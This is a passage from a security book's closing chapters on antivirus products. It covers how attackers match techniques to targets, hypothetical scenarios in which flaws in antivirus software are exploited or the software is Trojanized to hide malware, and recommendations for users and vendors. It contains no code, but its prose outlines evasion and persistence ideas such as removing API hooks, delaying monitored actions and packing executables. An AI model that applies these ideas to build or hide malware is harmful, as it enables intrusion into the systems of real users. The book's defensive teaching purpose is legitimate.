This chapter discusses the current trends and the protection levels offered
by the antivirus industry to its major target audience groups and what each
group should expect.
Part IV ■ Current Trends and Recommendations
Matching the Attack Technique with the Target
This book covers various techniques, weaknesses, attack vectors, potential vulnerabilities, and published exploits that could be used to mount an attack on a
machine that employs an antivirus solution. Those techniques and methods vary
in complexity, cost, and the time they take to produce and weaponize. Therefore,
it stands to reason that there should be a justification factor that dictates how
to choose the appropriate attack technique for a given target.
The following section will explain the various factors that play a role in
choosing which attack technique to use against which target.
The Diversity of Antivirus Products
The market holds a diverse number of antivirus products; therefore, it is impossible to target all users with the same technique. The list of antivirus products
is so long that even if the most popular antivirus software on the market were
successfully targeted, it would only mean that roughly 20 percent of all users
were actually being targeted.
Because of this diversity, if the target is not worth it, using an antivirus suite
as an attack vector is not worth it. Therefore, it is better to use exploits for less
diverse but much more popular software such as web browsers (Firefox, Internet
Explorer, and so on) and Office suites (Microsoft Office, Apache OpenOffice,
and so on). The following sections discuss types of attacks and their targets.
Zero-Day Bugs
Zero-day bugs are security bugs that are not yet disclosed or fixed and that
can be used to own a system. These kinds of bugs are so powerful that they
cost a lot of money and time to acquire. It can be argued that zero-days can be
considered cyber-weapons.
For that reason, it makes no sense for an attacker to elect to use a zero-day
against a low-profile target. There is also the risk of losing the zero-day if a
malware sample is caught by an antivirus solution or by a researcher and is then
dissected and studied. This means the bug will be fixed and that the zero-day
will become worthless in a matter of days or weeks.
When it comes to small targets, using a zero-day bug means expending a lot
of valuable resources. It is like using a bazooka to kill a fly or using an F-16 to
go to the grocery store around the corner.
Since 2014, how often do you hear that a new zero-day is being used on a
massive scale? Not very often. Attackers simply do not need to waste such
resources. They can save zero-day exploits, if they happen to have them, for
high-profile targets.
Chapter 16 ■ Current Trends in Antivirus Protection
Patched Bugs
Using zero-day bugs inappropriately can render them useless if they are caught
in the wild. As an alternative, attackers can use older security bugs that have
been patched. The bet here is that there will always be computers that do not
have the latest security patches installed.
Most exploit kits that are sold on the black market do not contain even a single
zero-day exploit but rather contain exploits for known vulnerabilities that have
been fixed recently or even years ago. It is very common to discover modified
and repurposed exploits in Metasploit (an exploitation framework) or in massive
attacks focused on infecting as many home-level users as possible. Actually,
this scheme works better than using real zero-day exploits.
Targeting Home Users
A home user should not be too worried about many of the attack techniques
mentioned in the previous sections. When it comes to home users, attackers want
to maximize the number of infected users, and therefore they tend to care less
about using advanced techniques and focus more on using simple techniques
that achieve quick results when applied to a large number of home users.
There are many reasons why malicious attackers target home users (for
example, by trying to infect the computers of our mothers or grandmothers),
but their main motivation is usually the same: to make money in one way or
another. Here is how some attacks can benefit attackers monetarily:
The infected computer can be monitored to capture banking details or
any other kind of data that can be directly converted into money, such as
PayPal or Amazon accounts, and so on.
The infected computer can be part of a zombie network that can be rented
for distributed denial-of-service (DDoS) attacks, spam campaigns, mining
of cryptocoins, and so on.
The infected computer’s documents, images, and other data can be
encrypted and a ransom demanded to decrypt them.
Using social engineering techniques, attackers can trick users into installing
a piece of software that claims to be a security suite (such as an antivirus)
but is actually not. The rogue protection suite displays fake messages
about multiple, non-existent, and invented infections to scare the user into
buying the full version of this fake antivirus solution in order to clean
the infected machine.
It is clear from this list that none of those motivations apply to a government
trying to spy on political dissidents, or a company that contracts a group of attackers to penetrate a high-profile competitor to steal secrets and intellectual property.
Part IV ■ Current Trends and Recommendations
Targeting Small to Medium-Sized Companies
Small to medium-sized companies may need to worry, but not too much, in my
opinion, as they are very similar in many ways to home users. A small company
that, for example, sells insurance is unlikely to be the target of an attacker using
zero-day exploits. It can, however, be the target of another insurance company
trying to steal its customer database. Attackers targeting smaller companies
would likely employ techniques similar to those used to attack home users:
social engineering, exploit kits, and already-patched zero-day bugs.
It is extremely unlikely that a government or other big actor would use a
zero-day exploit against a small to medium-sized company and risk losing
the exploit; it is not worth the money. After all, what is the point of a foreign
government owning, say, a car wash business? Its data is not very interesting,
nor is its infrastructure.
For these reasons, small to medium-sized companies probably don’t need to
worry about vulnerabilities in antivirus products, at least not yet. However, if
an audit of an antivirus product reveals a lot of vulnerabilities, this means that
the quality of the antivirus product is poor. So, even though these companies
do not need to worry about zero-day vulnerabilities, they do need to worry
about the quality of the product they have installed on their office computers.
Wouldn’t you think that an antivirus product with a lot of vulnerabilities will
have a different quality level when it comes to providing protection, detection,
disinfection, and other capabilities?
Targeting Governments and Big Companies
Governments and big companies make interesting targets, although attacking
them requires the use of more complicated techniques. These targets need
to worry about any and all possible attackers on a world scale. For example,
non-targeted, large-scale attacks that were meant to own home users may also
inadvertently target government and big companies’ computers.
Governments and big companies need to worry about actors who have no
qualms about using zero-day vulnerabilities, because they are a constant target
for foreign countries or companies in the same field. For example, do competing
car manufacturers need to worry about industrial espionage from each other?
Absolutely. The same applies to pharmaceuticals, movie producers, book publishers, and, even worse, weapons manufacturers, nuclear plant managers, and
other high-profile targets.
Chapter 16 ■ Current Trends in Antivirus Protection
These target types really do need to worry about an actor using an exploit
against the antivirus solution or solutions used in their environments. Take a
look at the following hypothetical situation:
1. A company or foreign government A wants to steal some data from target
government or company B.
2. The perimeter of target B is heavily fortified, all computers have installed
an antivirus solution, and all internal network traffic is inspected by antivirus products.
3. Attacker A decides to send an email that will be received by target B’s
email gateway server, with an embedded exploit targeting the antivirus
4. And voilà! Company or government B becomes owned by company or
foreign government A.
But it can be even worse: what if the actual exploit installs an implant that
integrates with the antivirus solution? For example, what if the implant from the
malicious actor A installed on target B’s infrastructure runs within the context
of the antivirus solutions? If target B actually trusts the antivirus product, it is
going to be a complete disaster, because it trusts a vulnerable piece of software
that was owned. This is a completely hypothetical case, but there is a good possibility of this occurring. There is little doubt it is happening right now while
you are reading this book.
There are very few cases of malicious state-level actors targeting antivirus
products. However, one such case is The Mask (also known as Careto). This highstakes, state-sponsored malware attack launched against governments in North
Africa, southern Europe, South America, and the Middle East over the course
of at least five years was attributed to the Spanish government. According to
Kaspersky’s reports, The Mask was abusing some vulnerability on Kaspersky
antivirus products. No additional data was ever published by Kaspersky about
this attack; nevertheless, this is an example of a real breach of unspecified vulnerabilities on an antivirus product that affected many companies worldwide—a
piece of software mistakenly trusted.
The Targets of Governments
A journalist (or, at least, one not on the government payroll) or a political dissident in any country will certainly be the target of a government agency. A
realistic target of a government, such as a journalist, a politician of an opposing
Part IV ■ Current Trends and Recommendations
political party, or a member of a human rights organization, must worry about
what I have discussed in this book. Although such targets are not a government
or a big company, the odds of their being an interesting target for a government
are very high, and a government is an actor with the capabilities and resources
to use zero-day attacks against multiple antivirus products. For such people,
antiviruses are tools that governments can use to spy on them.
Another example target of governments are antivirus companies themselves.
For example, consider the recently discovered attack against Kaspersky: an
attack from a government targeted the Kaspersky labs in what may have been
a lateral attack (to spy on its customers) or a direct attack to have privileged
knowledge about their technologies and how they advance in the research of
other nation-sponsored malware.
In summary: antivirus products can be more of a danger than a benefit in
some cases, and their own products cannot protect anyone, not even themselves,
from nation-state attackers. For anyone under government surveillance, the
security of their computers and their ability to conduct confidential and private
communications are unfortunately the least of their problems.
It is important to be realistic about the odds that an actor with almost unlimited
resources, such as a very big company or a government, can break protection
software that costs about US$50. What are the odds that such an actor can break
the most-used protection software suites? Close to 100 percent, in my opinion.
After researching antivirus products for almost two years, I believe that the
probablities are very high, because I found weaknesses in most of the antivirus
products that I researched over that time.
One can argue that the “business-level” protection suites are different, and
it is true that they are. However, they are based on the same software. What I
usually discovered was that an exploit working against the retail version of a
product had to be adapted to work against the business protection suite because
a different ASLR bypassing technique had to be used, different paths were
used, services were listening in different ports and pipes, and so on. However,
because the business software and desktop software shared the same kernel,
a vulnerability targeting a file format parser, for example, had the same effect
against both editions of the same product.
It is my opinion that the current level of protection offered by antivirus products is not enough to protect against malicious attackers that are willing to use
zero-day bugs. Sometimes, installing an antivirus product can make computers and networks even less secure than not having an antivirus product at all,
because the attack surface dramatically increases, and vulnerabilities can be,
and actually are, included at both local and remote levels.
Chapter 16 ■ Current Trends in Antivirus Protection
Some antivirus software companies do not worry at all about security in their
products because average users do not know how to really measure it (who cares
about writing security-aware tools when a non-security-aware tool is going
to sell anyway?). Self-protection security measures, if implemented at all, are
rudimentary at best and focus exclusively on preventing the termination of the
antivirus products by malware. There are some exceptions (AV companies that
are concerned about security in their products), but they are actually the exceptions to the rule: antivirus companies only care about marketing campaigns.
In the future, the situation may change, but today, it unfortunately looks dire.
The next chapter discusses possible improvements that I think will be added
at some point or that are actually implemented by a few antivirus products.
Recommendationss and the
Possible Future
The current protection levels provided by most antivirus solutions are not as
good as one would expect from an industry that deals with security products.
This chapter discusses some strategies that the security industry may adopt to
increase the effectiveness of its products.
This chapter is meant to give you ideas about how to improve the protection
and quality of antivirus products. It will also give you some ideas about what
you can and cannot expect from an antivirus solution, starting with some general
recommendations regarding most antivirus products.
Recommendations for Users of Antivirus Products
An antivirus product is synonymous with security for most users, but
this is not completely accurate. This part of the chapter explains some
typical misunderstandings and also gives recommendations for antivirus
software users, especially those who should be most worried about
vulnerabilities in security products: big companies and governments.
In any case, most of the recommendations here still apply to other users of
antivirus products.
Part IV ■ Current Trends and Recommendations
Blind Trust Is a Mistake
Blind trust in the security provided by antivirus software is the most common
mistake people make. It is no surprise that messages such as “My computer is
infected with malware. How can it be? I have antivirus installed!” continue to
appear on public forums.
Before putting all your faith into antivirus products, you should consider the
following points:
Antivirus products cannot protect against mistakes made by users. Attacks
that use social engineering tactics cannot be stopped by antivirus software.
Users should have some security awareness and training.
Antivirus solutions are not bulletproof; they have bugs and weaknesses
like any other piece of software installed on your computer.
Antivirus products work by detecting what they know based on the
signatures, heuristics, and static and dynamic analysis techniques they
have support for. They cannot detect unknown or new threats unless those
threats are based on patterns (either behavioral or statically extracted
artifacts) that are already known to the antivirus company.
A key part of the development or quality assurance (QA) phases of
effective malware is to actually bypass all or most existing antivirus
solutions. In general, this is not especially difficult and is done on a regular
basis by both illegal and legal malware (such as FinFisher).
Antivirus products can be exploited like any other software.
It is easier to exploit a security product, such as antivirus software, than
an Office suite or browser.
At least one antivirus company (Kaspersky) is publicly known that was
owned in a state-sponsored attack (likely launched by Israel): its tools
were not useful to prevent the attack.
Users (especially non-technical computer users) often consider antivirus
products to be the Holy Grail of security. They view an antivirus product as
software that they can install and then simply forget about, because the antivirus product takes care of all security matters for them. This sort of mentality is
also encouraged by the marketing campaigns of antivirus products. Campaigns
with slogans such as “Install and forget!” are common, but these slogans are
far from true and are a serious challenge to real security.
Because of a lack of security education and awareness or because they fell for a
social engineering trick, users sometimes disable an antivirus product temporarily to install an application they download from the web or receive by email.
While this may sound unusual, it is one of the most common ways antivirus
Chapter 17 ■ Recommendations and the Possible Future
software users become infected. Often, stories ranging from hilarious to tragic
can be heard when chatting with an antivirus support engineer about his or
her opinion on this subject.
A common social engineering ruse occurs when a certain malware politely
asks users to disable the antivirus software because it may interfere with the
installer. The malware can also simply ask a user for higher privileges. When
the user clicks Yes at the User Account Control (UAC) prompt in Windows, the
malware disables the antivirus solution and does anything it wants to do. Many
instances of malware, which are sometimes successful, are distributed by an
email asking the user to disable the antivirus before actually opening the attachment, be it a document, picture, or executable. As crazy as it sounds, this works.
Many users still falsely believe that an antivirus program knows about every
malware and about everything malware can do. However, antivirus solutions
are not bulletproof. A bug in the antivirus software may allow a certain piece of
malware to slip under the radar and remain undetected, thus leaving the malware to freely roam in the system. For example, a zero-day bug in the antivirus
software, or in the actual operating system, can be leveraged by the malware
so that it can do whatever it needs to do to complete its infection, often from
It is important to know that malware research and new infection and evasion techniques advance much more quickly than the defense and detection
mechanisms that antivirus researchers create. Therefore, an antivirus product
may know nothing about the new techniques that an advanced malware product is using until a sample is captured in the wild and is sent to the antivirus
companies for analysis.
Antivirus software can only protect against what it knows of. New malware,
or even old malware, can simply morph its contents to evade the static detection
signature that one or more antivirus products use. For example, a new executable
packer or protector can be used by malware (or goodware!) authors to evade
detection. Using an executable packer to change the layout of executable malware
while keeping its logic intact is not as complex as it sounds; sometimes it is as
simple as packing the malware to render it statically undetectable.
An antivirus product still has some chance to detect malware by using
dynamic analysis techniques while the malware is executing. For example, the
antivirus program may monitor the process by using some kind of API hooking. If API monitoring is done in userland, the malware can simply remove the
hooks, as I discussed in Chapter 9. If API monitoring is done in kernel-land, the
malware can perform the monitored actions with long delays between them,
so the kernel-land monitoring component “forgets” about previous actions;
this is a common technique used in many malware products. This approach
confuses behavior monitoring and heuristic engines in antivirus solutions.
Part IV ■ Current Trends and Recommendations
Malware can also use inter-process communication to distribute malicious
tasks between its various components; this, too, can throw off the behaviormonitoring engines. Most antivirus products know nothing about what the
malware is doing in such cases.
Also keep in mind that malware development uses the same cycles that
any other software development uses; that is, QA is an integral part of effective malware. For example, malware kits offered on the black market usually come with a support period. During that time, malware kit updates are
provided to buyers. One of the typical updates supplied for such software
is actually related to antivirus evasion. Indeed, before release, a new piece
of malware—depending on its quality—is likely to be beta-tested against
the most common antivirus solutions. Therefore, when the new malware is
released, the malware authors know that antivirus vendors will know nothing
about it until they get the fi rst samples, analyze the malware, and develop
the detection (and possibly disinfection) code. The malware will eventually
be detected by antivirus vendors, and so the malware writers will update
the product to evade detection by antivirus products. Again, the antivirus
vendors will update their products with new signatures to detect the new
version, and so on. This is the infamous cat-and-mouse game that you hear
about in the software security industry. Unfortunately for computer users,
malware authors are always one step ahead, regardless of what the antivirus
industry advertises.
In previous examples, I focused mainly on malware that was distributed on
a massive scale. Targeted malware can go unnoticed for the entire time that
the malware attack is underway. Once it has accomplished its objective, it is
removed and, like magic, nobody notices anything.
It is also important for users to understand that antivirus products can be owned
just like any other software and that the security measures they implement are
much simpler—if they exist at all—than the security measures implemented in
Office suites or browsers, such as Microsoft Office or Google Chrome. This means
that the antivirus solution you are using can actually be the entryway to your
computer. For example, malware can exploit a bug in a file format parser. The
protections implemented in the antivirus software for preventing exploitation
in the actual antivirus are frequently non-existent or rudimentary at best. For
example, in one “self-protection” mechanism, the antivirus software prevents
calls such as ZwTerminateProcess over one of its processes.
Consider the following hypothetical, but very possible, scenario, where an
antivirus can be owned and trojanized so that it hosts the malware:
1. A malware is executed in the target’s computer.
2. The malware uses a zero-day mechanism to disable the antivirus program.
A DoS bug, triggered by a null pointer access that crashes the antivirus
service, is more than enough.
Chapter 17 ■ Recommendations and the Possible Future
3. While the antivirus software is still restarting in order to recover from the
crash, the malware Trojanizes some components of the antivirus program.
For example, it may drop a library in the antivirus program directory that
will later be loaded by the userland components of the antivirus software.
4. The malware, after it properly deploys itself, restarts the antivirus program
if required.
5. Now the malware is actually running within the context of the antivirus
Here is another even more probable—and more worrisome—scenario:
1. An exploit is executed in the target’s computer, for example, by taking
advantage of some vulnerability in a web browser. The exploit then downloads and runs some malware.
2. The malware uses a zero-day strategy against the antivirus program in order
to execute code in its context (which is running as SYSTEM in Windows or
as root in Unix variants) to get out of the browser’s or document reader’s
3. The malware now has elevated privileges and is outside of the sandbox (as
antivirus products don’t usually run inside a sandbox). The malware can
persist in a stealthy manner, often by Trojanizing the antivirus software or
by creating and running from a thread in the context of that application.
4. The malware is now successfully running in the context of a privileged
application: the antivirus program.
In these situations, do you think the antivirus product does anything to
validate itself (its files or its running threads)? It makes no sense, right? After
all, how can an antivirus not trust itself?
There are different variations of the same approach:
Malware can use a zero-day approach to create a thread in any or all of
the antivirus programs running as SYSTEM, while communicating between
individual threads as a single distributed malware. The antivirus program
excludes all of its own processes from the analysis, and so the malware
goes undetected.
Malware can hide as a (non-signed) component of the antivirus program.
It can be, for example, a malicious update file or a script inside the program’s
directory in Unix, such as a cron task script. Because the task script is an
antivirus component, it is usually excluded from the analysis.
There are countless ways that malware can use an antivirus product to hide
itself. This stealth technique can be considered as an antivirus-level rootkit.
Such a rootkit has access to all resources that the antivirus product has, which
Part IV ■ Current Trends and Recommendations
means it can do virtually anything because it is running in the context of the
antivirus application. Also, detecting it will be extremely difficult for the antivirus solution: the antivirus product logic would have to stop trusting even its
own files and processes!
I need to point out that I have only seen this approach in a few situations, and then by chance. On one occasion, the malicious code was part of
a Metasploit meterpreter stage that was pivoting over antivirus processes
(creating threads that jump from process to process) because they were not
protected for some reason; on another occasion, the malicious code was hidden
in a thread injected by malware in the context of an unprotected application
running as the current user. While I have not often seen this approach in my
research, it does not mean that it is not possible to have such a stealth mechanism; actually, you can expect the use of advanced stealth techniques from
effective malware. This area has probably not been thoroughly researched
by many malware authors. It is rare for security researchers to be the first to
discover a technique; usually the researcher is simply the first to make such
techniques public.
In short, you should never blindly trust your antivirus program. It can be
owned, and it can be used to hide malware or a malware process or thread.
Blindly trusting your antivirus software can be a big mistake for your organization. I cannot stress this point enough.
Some of the scenarios discussed in this section about not trusting an antivirus program can be explained without even using zero-days. For example, say that a file
infector, a virus, infects a computer. Every executable that is scanned or executed will
be owned before actually executing or opening that file. This happened with the wellknown viruses Sality and Virut. How can you trust that the antivirus scanner, which is a
normal program, is not going to be infected while it scans files to disinfect them? Even
if the antivirus scanner protects itself from being infected as it scans all the files in
the computer (which is not that common when an independent command-line scanner is launched), the other executable files may still become infected by the virus. (Of
course, whether infection occurs depends on the quality of the disinfection routines
of the antivirus.)
A sophisticated file infector can create very different generations for each infection.
If you talk with any technical support person who deals with antivirus products, you
will discover this is a fairly common situation. However, it can be easily fixed: the scanner and the beta-quality virus database files are copied to a CD-ROM, and then the
tool is executed from the CD-ROM. Because the CD is read-only media, the file infector
cannot infect it. Problem solved.
Chapter 17 ■ Recommendations and the Possible Future
Isolating Machines Improves Protection
For big organizations, when possible, I recommend isolating the machines that
perform network analysis with antivirus products. The problem is that an antivirus program can be used as the entry point to penetrate your network, and it
can also be used as the glue to connect to other internal networks, by helping
an attacker to own network analysis security products.
Here is a simple and worrisome example that illustrates how dangerous a
not-so-good antivirus solution can be:
1. The perimeter of a targeted organization is heavily protected, with only
the email and web servers open to external interfaces. All patches have
been applied.
2. The web or email server (or both) scans every file that is received.
3. One of the intercepted files is actually a zero-day exploit targeting the
antivirus program that is used by the organization. It is weaponized so
that it owns the email gateway or the web server.
4. The attacker successfully penetrates the organization’s network by, ironically, taking advantage of the security product it relies on.
5. If the antivirus software performs network analysis on other parts of the
network, the attacker can send files (via HTTP, SMB/CIFS, or another
protocol) from the owned email gateway or web server to other parts of
the network, to penetrate more deeply into the network.
6. If the computers on the network use the same security product, as long
as the owned components have network access to these security products
and they perform network analysis, they can also be owned with the same
zero-day exploit.
Bottom line: when one or two zero-day exploits are used against the antivirus
product, the entire organization can be owned. Think about a worm exploiting
just one zero-day vulnerability in your favorite antivirus program. While there
are no known worms that target antivirus programs, one could definitely be
This scenario applies not only to file analysis tools (such as a common desktop antivirus program) but also to network analysis tools (that is, software that
performs analysis of everything flowing through your network). With network
analysis tools, the remote attack surface becomes very wide, as these tools have
to deal with complex network protocols such as HTTP, CDP, Oracle TNS, SMB/
CIFS, and a plethora of other protocols. If the odds of having vulnerabilities in
the code of file format parsers are high, the odds of having vulnerabilities in the
code performing network analysis are even higher. If you consider the remote
attack surface that both components expose, you may think twice about relying
on that antivirus solution that was never audited.
Part IV ■ Current Trends and Recommendations
Auditing Security Products
Performing an audit of the security product that you want to deploy in your
organization—or that you already have deployed—is one of the best recommendations that can be made. You cannot be sure about the quality of the antivirus solution and the real attack surface exposed, or their self-protection levels
(if they have any), without relying on your own audits or on audits performed
by third parties. It is sensible not to trust the advertisements of security product
vendors because it is their job to sell the products.
Although the code of big companies, such as Microsoft, Google, IBM, and
Oracle, is frequently inspected by third-party auditors, a lot of antivirus software
is never audited. Yes, that’s right: never. One of the reasons for this, believe it
or not, is that they are very wary of giving their source code to a third party.
Third-party auditors are allowed to connect to machines in their headquarters
with all the code only in the presence of a staff member who monitors what the
auditors are doing. Even so, antivirus vendors should at least perform a blackbox audit, often called a binary audit. Unfortunately, most antivirus vendors
never audit their products, not even during the development cycle. There are
exceptions to this rule; some antivirus companies perform one or many of the
following audit types:
Regular binary audits
Regular, internal source audits
Regular source audits by third parties
In my experience, an unaudited application is a buggy application. You can
audit your favorite unaudited antivirus program and test this assertion.
Recommendations for Antivirus Vendors
Over about a two-year period, I performed audits on many antivirus products.
The sad results were that out of 17 antivirus products, 14 were vulnerable.
Usually, after I discover a vulnerability, I exploit it or, at the very least, figure
out how it could be reliably exploited.
I also observed that privilege separation, sandboxing, anti-exploiting techniques, and so on are not applied to most antivirus products; this makes it trivial
to exploit security applications compared with how complex it is to write an
exploit for Google Chrome or Microsoft Word, software programs that implement many top-notch tricks in order to make exploitation more difficult.
The following sections contain some recommendations for the antivirus
industry. Some of them likely represent the future of antivirus products, following the logic that was implemented with client-side applications such as Adobe
Acrobat Reader, Microsoft Word, and most existing web browsers.
Chapter 17 ■ Recommendations and the Possible Future
Engineering Is Different from Security
An antivirus company needs good engineers to develop its products, as well as
good programmers, analysts, and database, system, and network administrators. However, it also needs security specialists. An antivirus engineer with a
number of years of experience in C or C++ does not necessarily have experience
writing security-aware code or know how to find vulnerabilities and exploit
them. Indeed, some engineers do not have a clue about what security-aware
code means, regardless of whether or not they work for a security company.
This problem can be fixed by contracting security engineers and applying the
following “magic” trick: training. Training your programmers in security-aware
coding, vulnerability discovery, and exploiting will make them more aware of
weaknesses or vulnerabilities in the part of the antivirus they develop and will
likely result in many vulnerabilities being fixed during the development process.
Also, developers with this knowledge will refuse to introduce code patterns that
may lead to undesirable conditions. Not implementing this security awareness
in your organization will result in coders doing their job without considering
the security implications of a design choice or code, because they simply will
not have any knowledge about security considerations.
Exploiting Antivirus Software Is Trivial
Sadly, some of the biggest antivirus products, with only a few exceptions (which
shall remain unnamed), do not implement the following measures that are
typically found in web browsers and document readers:
Privilege separation
Not trusting other components, by default
Anti-exploitation measures inside their own products, not only for protecting third-party applications
Most antivirus solutions have an application with high privileges (local system or root) running as the malware analysis service (files and network packet
scanning) and a (usually unprivileged) GUI application that shows the results.
With only one attack, a maliciously crafted network packet or file, intercepted
by the scanner, can cause the service to become owned by exploiting a vulnerability within it, and the exploit will have full privileges, either local system in
Windows or root in Unix-based operating systems.
On the other hand, some document applications or web browsers implement
privilege separation in a more intricate way. Usually, there is one process with
the privileges of the logged-in user and many other worker processes with fewer
Part IV ■ Current Trends and Recommendations
privileges that actually perform the parsing and rendering of the PDF file, Word
document, or web page. If a vulnerability is exploited in that application, the
exploit also needs to escape the sandbox to execute code with higher privileges.
In the antivirus industry, only a small number of products implement anything
similar to this. This situation should change, as it is ironic that a security product
is less security-aware than, for example, a document reader.
Perform Audits
The best recommendation I can give to antivirus vendors is to regularly audit
their products. You cannot have a secure product without auditing it. Here are
the possible auditing choices that you can make:
Internal audits—These audits should be performed every time a new
feature or component is added to your antivirus software.
Third-party source code review audits—This is the best approach to
auditing your application. A third party auditing your company is not
biased about which components should be considered, a problem that
is common with internal audits. A third-party company analyzes all
components and focuses on the more dangerous components without
any bias, whereas in-house auditors may look at a piece of code and dismiss it because it has been running without problems for ages and must,
therefore, be bug-free.
Third-party binary audits—These are better than internal audits but less
effective than third-party source code reviews. The auditing company will
find vulnerabilities in your products using a black-box approach, thus
minimizing the risk of the antivirus solution source code being leaked.
Regularly auditing your security products will undoubtedly result in their
being more resilient, as long as all the logical recommendations made by the
auditors are applied, and the bugs discovered during the audits are fixed.
Fuzzingg (discussed in Chapter 13) is a black-box technique used to discover bugs
in a software application. I highly recommend that you continuously perform
fuzzing of your target application in order to discover and fix bugs during all
the development stages. Fuzzing can be used by developers to test a new feature
while coding it. It can also be used by your QA team to probe the final code
builds prior to shipping. However, fuzzing should also be used to discover bugs
in a released application because some complex bugs appear only after weeks
or months of fuzzing.
Chapter 17 ■ Recommendations and the Possible Future
Fuzzing gives good results, kills most of the obvious bugs in your application, helps you discover some complex ones, and is cheap to implement. Even
a single machine using radamsa mutators and running your scanner against
the mutated files may work. However, writing something more complex and
customized specifically for your product would naturally be better.
Use Privileges Safely
Most antivirus services and processes run with the highest possible privileges,
local system or root, and do not use sandboxing or any kind of isolation of components, as web browsers, Office suites, or document readers do. Techniques for
making exploitation more difficult, such as the isolated heap or the “Delay Free”
recently added to the latest versions of Internet Explorer, are not implemented
by a single existing antivirus product. (Or, at least, I failed to find a single one
after researching 17 products over two years.)
If the antivirus industry wants to go forward and write effective security
software, not cute GUI applications with a label in big capital letters saying
“SAFE,” then it must follow the path that popular client-side applications, such
as web browsers and document readers, followed years ago. At the very least,
it needs to incorporate privilege separation and sandboxing.
Some antivirus companies argue that the antivirus services must execute
with high privileges. This is partially true: a mini-filter driver is required to
intercept network traffic; a privileged application is required to read and write
all files to the disk or even the Master Boot Record (MBR). However, that privileged application’s only purpose should be to read a file or packet. The read
content should then be sent to another low-privilege application that executes
the potentially dangerous code that deals with parsing network protocols
or file formats. This would be easy to implement and would require at least
two exploits in order to achieve code execution during an attempt to attack
antivirus software:
One exploit to execute code in the context of the low-privilege application
doing a file or network packet’s parsing
Another exploit to escape the sandboxed application that is owned
Potentially unsafe code can be made to run in some sort of virtualized or
sandboxed environment. For example, an application would not really be running natively but be running inside an emulator or virtual machine. In this
case, a successful attack leading to code execution in an antivirus product
would require one exploit to escape from the virtual machine prior to trying
to escape the sandboxed application. It would make exploitation of antivirus
products really complex.
Part IV ■ Current Trends and Recommendations
Reduce Dangerous Code in Parsers
The parsers for both file formats and network protocols in an antivirus product
are quite dangerous because, by nature, they deal with hostile code. Such code
should be written with extreme care because the way this code is written can
open a big attack vector. Also, such code should run in sandboxed processes,
as previously discussed, because the odds of having exploitable vulnerabilities
in C or C++ code, the de facto language for antivirus kernels, are very high.
Therefore, instead of writing everything in C or C++, programmers could divide
the code base (and responsibilities) between native code and other memorysafe languages, which would mitigate the side effects of writing dangerous and
potentially buggy code.
For example, the kernel filesystem filter driver that is used to provide realtime protection in antivirus software does not have to include the file format or
protocol parser code; instead, the driver can send a message to a low-privileged
(or even sandboxed), managed process (or service) that deals with the file format
and then sends the result back to the filter driver.
Managed (memory-safe) or scripting languages such as .NET, Lua, Perl, Python,
Ruby, and Java can be used to write detection and disinfection routines and
file format and network protocol parsers. The odds of introducing remotely
exploitable vulnerabilities with such languages will drop dramatically, and
the performance gap between C or C++ code and memory-safe languages will
become smaller every year.
In fact, .NET and Lua are actually used by some existing antivirus products.
For a vulnerability researcher, using memory-safe languages would really make
a difference, as finding security vulnerabilities in memory-safe languages is
more difficult because the possibility of introducing a remote vulnerability in
such languages is smaller.
Improve the Safety of Update Services and Protocols
The vast majority of antivirus products, sadly, do not use Secure Sockets Layer
(SSL) or Transport Layer Security (TLS), which means that everything is downloaded via unencrypted communication channels that can be tampered with
by malicious actors. At the very least, all antivirus products should move to
implement TLS for all their update services: for downloading programs, as well
as for their malware signature database files.
A good example of how to properly implement an update system is the Microsoft
Windows Update service. In general, Microsoft uses TLS (HTTPS) for anything
that can be dangerous (modified in transit), except for downloading the program
files to be updated. This exception may look like a bad decision; however, every
single downloaded cabinet file (.cab) or executable is signed and verified by the
update client upon delivery.
Chapter 17 ■ Recommendations and the Possible Future
This well-implemented update service provides another idea about what
should be done: all files that are downloaded through an update service must
be signed and verified before processing. You may be surprised to discover that
most antivirus suites do not sign their virus database files or even programs
(this is especially true for their Unix versions) and that they use MD5, SHA1,
or CRC32(!) for the sole purpose of verifying that the updated files are transmitted correctly. This approach considers corruption, but it does not consider the
update integrity and source. Using RSA to sign the downloaded files or their
hashes is more than enough, because not only does it validate their integrity,
but it also authenticates the files (checks whether a file’s signature is wrong, the
file is corrupted, or the file was modified during transit by a malicious actor).
If the signature is okay, you can be sure that the file is the original one coming
from your servers and that it was not modified.
Remove or Disable Old Code
The amount of old code supporting MS-DOS-era executable packers, viruses,
Macro viruses, and a worm for Office 97 is really big. Indeed, the older the
antivirus company gets, the greater the amount of obsolete code that is included
in its antivirus products. One has to consider that this old code was written
during an era when nobody wrote security-minded code, mainly because there
was no need at that time. What that means for hackers is that such old code, not
touched in more than 10 years, is likely to have vulnerabilities. Such code paths
are not commonly exercised, but a vulnerability researcher can find vulnerabilities in this code. I actually discovered some vulnerabilities affecting detections
for the old Zmist virus, which was created by the infamous 29A group, as well
as in code that was handling very old executable packers. For antivirus writers,
I recommend the following:
Remove the code that is of no use today. Most Windows installations
are 64-bit nowadays, and old 16-bit code does not run anyway, so
what is the point of keeping detections for old MS-DOS viruses or
16-bit Windows?
Make old code and detections optional. Perhaps at installation time, the
installer can dynamically disable old detections if applicable.
These two simple recommendations can help reduce vulnerabilities. Generally
speaking, less code (that is of no use today) means fewer possible vulnerabilities.
On the other hand, removing such code can cause the antivirus product to
score lower in some antivirus comparative studies. Some antivirus comparatives, which shall remain unnamed, contained virus databases with such dated
malware at least five years ago. While I was working for one antivirus company,
I suffered the pain of having to modify an MS-DOS virus detection routine that
was buggy and was discovered by using the antivirus comparative’s supplied
Part IV ■ Current Trends and Recommendations
malware database. If your company, after removing obsolete detections, scores
lower in a given antivirus comparative, you should consider whether that antivirus comparative is meaningful at all. Some of them are best avoided if your
company is more focused on technology than on marketing, because many
antivirus tools are purely a marketing stunt with no real value to add on top of
the quality of the antivirus product.
This chapter concludes the book, and with it I share my thoughts and experience on how antivirus vendors could use the knowledge from all the previous
chapters to improve their security suites and antivirus software before it is
released to the public.
Let’s recap the suggested improvements:
Writing secure code and leveraging programmers with security training—
Software engineering is different from security. It does not matter if AV
developers are excellent at programming. Without secure programming
concepts in mind, programmers are likely to produce a product is prone
to various attacks from hackers.
Perform regular security audits—This is one of the best recommendations I can give. Have security engineers audit the code internally after
the developers have done their jobs. Even better, get a third pair of eyes
and hire external auditors to take a look at your source code as well; you
may be surprised at what they can still find.
Fuzzing—This topic and its importance were thoroughly discussed in
Chapter 13. In short, make fuzzing an integral part of your security testing
and QA process in order to discover and fix bugs during all the development stages.
Use sandboxing techniques—Unlike most modern web browsers, not
all AV software employ sandboxes. Since you cannot ensure the safety
